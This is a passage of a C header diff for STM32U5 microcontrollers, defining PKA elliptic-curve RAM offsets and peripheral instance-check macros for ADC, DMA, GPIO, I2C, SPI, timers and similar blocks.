PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/** @addtogroup STM32U5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS)|| \ + ((INSTANCE) == ADC1_S) || \ + ((INSTANCE) == ADC4_NS)|| \ + ((INSTANCE) == ADC4_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S) || \ + ((INSTANCE) == ADC4_COMMON_NS) || \ + ((INSTANCE) == ADC4_COMMON_S)) + +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************** FDCAN Instances *****************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/******************************** COMP Instances ******************************/ +#define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************** COMP Instances with window mode capability **************/ +#define IS_COMP_WINDOWMODE_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI2_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI2_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S) || \ + ((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +#define IS_LPDMA_INSTANCE(INSTANCE) (((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S) || \ + ((INSTANCE) == OTFDEC2_NS) || ((INSTANCE) == OTFDEC2_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_SRAM4_NS) || ((INSTANCE) == RAMCFG_SRAM4_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG IT Instances ******************************/ +#define IS_RAMCFG_IT_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S) || \ + ((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* LPGPIO Instances *****************************/ +#define IS_LPGPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* DMA2D Instances *******************************/ +#define IS_DMA2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DMA2D_NS) || ((__INSTANCE__) == DMA2D_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On U5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On U5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************* I2C Instances : Group belongingness *********************/ +#define IS_I2C_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +#define IS_I2C_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************************** OPAMP Instances *******************************/ +#define IS_OPAMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OPAMP1_NS) || ((INSTANCE) == OPAMP1_S) || \ + ((INSTANCE) == OPAMP2_NS) || ((INSTANCE) == OPAMP2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S) || \ + ((INSTANCE) == OCTOSPI2_NS) || ((INSTANCE) == OCTOSPI2_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/******************* SMBUS Instances : Group belongingness *********************/ +#define IS_SMBUS_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +#define IS_SMBUS_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation 